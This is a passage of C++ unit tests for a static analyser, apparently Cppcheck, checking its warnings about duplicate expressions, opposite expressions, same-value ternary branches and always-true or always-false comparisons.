}\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. 